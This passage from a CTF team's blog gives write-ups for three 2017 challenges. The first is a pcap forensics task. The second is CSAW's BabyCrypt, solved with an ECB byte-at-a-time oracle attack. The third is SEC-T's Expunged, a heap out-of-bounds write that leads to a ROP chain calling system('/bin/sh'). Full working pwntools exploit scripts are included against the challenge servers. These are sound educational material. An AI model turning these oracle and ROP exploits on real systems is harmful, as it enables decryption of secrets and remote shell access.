As you can see, the form contains 8 fields namely, ‘name’, ‘lname’, ‘school’, ‘major’, ‘c’, ‘s’, ‘text’ and ‘n’. The ‘n’ field contains a huge hex value and the text field contains some nonsensical data. We first thought that the text field might contain some sort of cipher text and the n field will be containing the key. After spending some time, without success, trying to figure out how to decrypt  the  text with the key, we pasted the contents of the text field in Google translate and found that it was Latin, thus eliminating the possibility of it being a cipertext. We then tried converting the value in ‘n’ field to ASCII without any success.

Now we again looked at the dump in wireshark and found out that some packets contained and additional field ‘x’ :

wireshark-x

The ‘x’ field again contained some hex data. We converted the value in the first occurrence of x into ASCII and here we saw something interesting:

BM�B6(�$���

��
“�!�#)�$’�*0�,2�39�”(+�%-1�’58�

The header is BM which is the file signature of the BMP file format.

We quickly wrote a python script to extract the value in the x field (in whichever packet it’s present), convert it to string and concatenate it and save it in file. Here is the script :

import dpkt

f=open("./scap.pcap")
pcap = dpkt.pcap.Reader(f)
outf=open('flag','w')
count = 0
out=''

print "Creating the flag ...."

for ts,buf in pcap:
    count=count+1
    start=buf.find('&x=')
    n=''
    if start != -1:
        out=out+buf[start+3:].decode('hex')

print " [*] Done."
outf.write(out)

 

run_script

Opening the file :

flag

So the flag was :

FLAG{HElp_Th3_BANANASCRIPt-guy_15_thr0wing_m0nkeys@me}

 

 

 

 

CSAW Quals 2017 BabyCrypt Writeup

Solved by s0rc3r3r

Points: 350

In this challenge, we were given a ciphertext encrypted using AES in ECB mode. In ECB mode, encryption of each plaintext block does not affect the encryption of the next plaintext block. Mostly in challenges, the attack on ciphertexts encrypted using block size mode of encryption works as follows:

  1. Mode Detection (ECB, CBC, CTR etc.)
  2. Block size detection
  3. The actual attack based on the facts collected from Step 1 and 2

Here is how ECB mode encryption works:

601px-ECB_encryption.svg

You can read more about ECB mode of encryption on this blog and here on Wikipedia

In this challenge, it was already given that the mode of encryption is ECB mode. So, we move on to step #2 which is Block Size Detection. In this step, we keep sending input, increasing the input’s size by one byte each time and noting the length of the ciphertext for the corresponding input, until the length of the ciphertext changes. The size of the block is then equal to the difference between the size of new ciphertext (number of bytes) and size of the previous ciphertext (number of bytes).

Screenshot from 2017-09-18 10-11-43

As you can see, as soon as a new character is added to the input, the size of the ciphertext changes, the difference between them is 32 hex characters or 16 bytes! So we have detected the block size to be 16 bytes! You can read more on this blog where I have explained about block size detection in detail.

In the server, the encryption takes place as follows:

  1. Takes in input from the user
  2. Append the secret (our flag) to the input
  3. Pads it to make a multiple of the block size
  4. Encrypts the resultant plaintext
  5. Gives the output to the user.

The plaintext which is being encrypted in the server is as follows:

input | secret | padding

So, among all these points, we are only in control of Point #1 which is the input we give. And using this we need to get the secret which is there on the server.

Now comes the actual attack on the ciphertext. The block division is as follows:

      #1     |      #2      |      #3

16 bytes | 16 bytes | 16 bytes

What we give as the input, goes in block #1 if size(input) < 16 bytes. The secret is present in a block next to the block in which our input is present. What if we give an input which has a size one less than the block size? Then the last character in the first block is the first character of the secret. We know the first 15 bytes of block #1, we can simply brute force 255 possibilities of the 16th byte in block #1 by checking the corresponding ciphertexts. This happens as follows- Suppose I give the input as 15 times a, the block division becomes:

                                 #1                              |                      #2 , #3

“aaaaaaaaaaaaaaa” + 1 byte of secret | other bytes of secret | padding

The first 16 bytes(32 hex chars) of the ciphertext generated from this is the encrypted form of the first block. Now we can brute force the value of the last byte of the secret which is present in block #1. Here is the python code for brute forcing the last byte:

from pwn import *
import string 

string_sent = "a"*16
r.recv()
r.sendline(string_sent)
g1 = r.recvuntil("\n")[16:-1]
g1 = g1[:32]

for j in range(256):
            r.recv()
            r.sendline(string_sent + chr(j))
            g2 = r.recvuntil("\n")[16:-1]
            g2 = g2[:32]
            if g1 == g2 and chr(j) in string.printable and j!=10 and j!=0:
                print chr(j), j
                break

Then we move on to the next byte of the secret; this time we send the input as 14 * ‘a’ plus the last byte of secret(flag) which we get from the above code. Similarly, we get other bytes of the secret by giving the input as (16 – i) * ‘a’ + decrypted_bytes_of_secret, where i is the ith byte to be decrypted from the secret!

At this point of time, we have decrypted 16 bytes of the flag, now we can further move on to the next block of the secret using the same concept we applied above.

Here is the python code for the entire exploit:

from pwn import *
import string

r = remote("crypto.chal.csaw.io","1578")
plaintext = ""
blocksize = 16

# The flag occupies 2 blocks
for k in range(2):
    b = ""
    for i in range(1,17):
        string_sent = "a"*(16-i)

        r.recv()
        r.sendline(string_sent)
        g1 = r.recvuntil("\n")[16:-1]
        g1 = g1[:32+k*32]
        print "String sent: ",string_sent

        for j in range(256):
            r.recv()
            r.sendline(string_sent + plaintext + b + chr(j))
            g2 = r.recvuntil("\n")[16:-1]
            g2 = g2[:32+k*32]
            if g1 == g2 and chr(j) in string.printable and j!=10 and j!=0:
                print chr(j), j
                b += chr(j)
                break
    plaintext += b
    print plaintext

So, I ran the script and here is the output:

Block #1 of Secret:

Screenshot from 2017-09-18 11-54-33

Block #2 of Secret and the final flag:

Screenshot from 2017-09-18 11-55-40

Cheers!

SEC-T CTF 2017 Expunged Write Up

Solved by 4rbit3r

Thanks to the admins for conducting a great CTF. The challenges were really good. The only thing missing were the authors for some challenges who weren’t online for the most part of the CTF. But other than that, great CTF.

Our team managed to get into the 8th rank which is pretty much the first time that has happened in an international CTF.

So let’s move on to the challenge.

The binary given isn’t very hard to reverse engineer. The functionality offered is simple to understand.

The main function starts off by creating an array of 1024 bytes on the heap.

It then enters a while loop and asks us for an index.

If the index is lesser than 1024, we’re allowed to enter how many bytes we would like to input at that index.

It performs another check on the second input to make sure that there is no chance of a buffer overflow.

1

After that, it proceeds to read size bytes of input, storing them at offset bytes from the beginning of the array allocated on the heap.

Then, it just prints out the entire contents of the array and then goes on the execute the loop a second time.

At the beginning of the main function, the binary opens a shared object provided along with the challenge using dlopen.

And in the while loop, it calls dlsym with a pointer to “__nanosleep” as the second argument.

For those of you who don’t know what that does, dlopen loads the shared object into memory and dlsym just returns a pointer to the function that is present in the shared object.

The return value of dlsym is stored in a global pointer. This pointer is then invoked with an argument of 1.

All that basically translates to executing __nanosleep(1).

So, now onto the vulnerability.

The checking being done on the offset and the size are signed comparisons.

So that means, we can corrupt data that lies before the beginning of the array.

Since the array is never freed, and no further calls to malloc or free ever take place, I couldn’t think of a method to gain code execution by corrupting the metadata of the array.

However, if we inspect the heap at the point where data is being read into it, we can find that the array is located pretty far from the beginning of the heap.

2

The reason is that dlopen loads the shared object into memory and creates a linkmap structure on the heap.

3

4

The first 8 bytes of the linkmap structure is the base address of the shared object that has been loaded into memory.

Now, I wasn’t really sure that corrupting anything in the linkmap structure would be useful in gaining control over execution, but I had already looked over every other possible way to exploit that I could find and this was the only one left.

The offset of __nanosleep function in the given shared object is 0x10bf0 bytes. So I presumed that all that happens in dlsym is return base_address+0x10bf0.

Surprisingly, that is what happens. So I could overwrite 0x4141414141414141 in place of the base address and dlsym would return 0x4141414141414141+0x10bf0.

So using that I can execute any function that I want to, but the question then was identifying which function I wanted to execute.

I looked quite a bit for any chance of memory leaks, but couldn’t find any.

So, I decided to use the read_line function.

The RDI and RSI registers were already pointing to the stack. So ESI would be interpreted as a really large unsigned integer value. And there we have our buffer overflow.

Now all that’s left is to create a ROP chain to pop a shell.

I first tried to leak out the contents of the GOT table and then return to the read_line function again and create a ROP chain to execute system("/bin/sh").

But that kept failing for some reason. Probably because the output that I received from the server was a little different from what I got while running my exploit locally.

At this point, I handed over this challenge to @renorobert and decided to try the 300 point one. A few minutes later, I got a message saying that he fixed the exploit and got the flag as well. I’ll be explaining his method from here on.

We already have dlsym function present in the PLT table. Also there’s a call rax gadget present in the binary. So if we could fake a call to dlysm with the second argument being a pointer to “system”, we could chain that with the call to call rax.

dlsym requires the first argument to be the handle returned by dlopen. However, dlsym also accepts NULL in place of the handle. So, we can proceed with this method

The next task is to store the string “system” at some address in memory that we know. We use the read_line function here to perform a second read that will store the string “system” in the bss segment.

Now, the next issue was making sure that RDI points to “/bin/sh” when the call rax gadget is being invoked.

Now I could’ve just sent “/bin/sh” along with “system” and used a pop rdi gadget to point RDI to “/bin/sh”. But there’s an easier way.

The binary contains the string ‘fflush’. We use the pop rdi gadget to point RDI to the last two bytes of that string (“sh”).

And putting it all together, we get a shell.

Here’s the script

 
from pwn import *

bss = 0x602110
dlsym = 0x400870
sh_str = 0x400520
pop_rdi = 0x400e23
call_rax = 0x400B4D
readline = 0x400986
pop_rsi_r15 = 0x400e21
offset_to_base = -1760
offset_to_nanosleep = 0x10bf0


if __name__ == '__main__':
    if sys.argv[1] == 'local':
        p = process('./acidburn', env={"LD_PRELOAD":"./libc-2.23.so"})
    else:
        p = remote('pwn2.sect.ctf.rocks', 5555)

    p.sendlineafter('array: ', str(offset_to_base))
    p.sendlineafter('fill at', '6')
    p.sendlineafter('Enter input: ', p64(readline+9-offset_to_nanosleep))
    payload  = "A"*16 
    #
    # Set up call to readline to store "system" in bss
    #
    payload += p64(pop_rdi)
    payload += p64(bss+0x400)
    payload += p64(pop_rsi_r15)
    payload += p64(7)
    payload += p64(0)
    payload += p64(readline)
    #
    # Fake call to dlsym with rdi=0 and rsi=>"system"
    #
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(bss+0x400)
    payload += p64(0)
    payload += p64(dlsym)
    #
    # Set rdi to point to "sh"
    #
    payload += p64(pop_rdi)
    payload += p64(sh_str)
    #
    # Call system
    #
    payload += p64(call_rax)    
    #
    # Here we go
    #
    p.sendline(payload)
    p.sendline("system\x00")
    p.interactive()

And running it gives the flag : SECT{wh0a_hope_u_understand_how_dlsym_w0rks_now}

So I guess that was the intended solution. I love these kind of challenges that make you learn something new. The binary is very simple to understand, vulnerability is easy to spot. The main purpose of pwn challenges is to test the ability of the person to exploit the given situation rather than spending hours trying to reverse engineer and figure out the vulnerability.

Anyways, good job admins. We’ll be sure to play next year as well.

——————————————————————-
Update
——————————————————————-
The admins were kind enough to provide us with a license for Binary Ninja for this writeup. Thank’s a bunch guys. You rock!

Create a free website or blog at WordPress.com.

Up ↑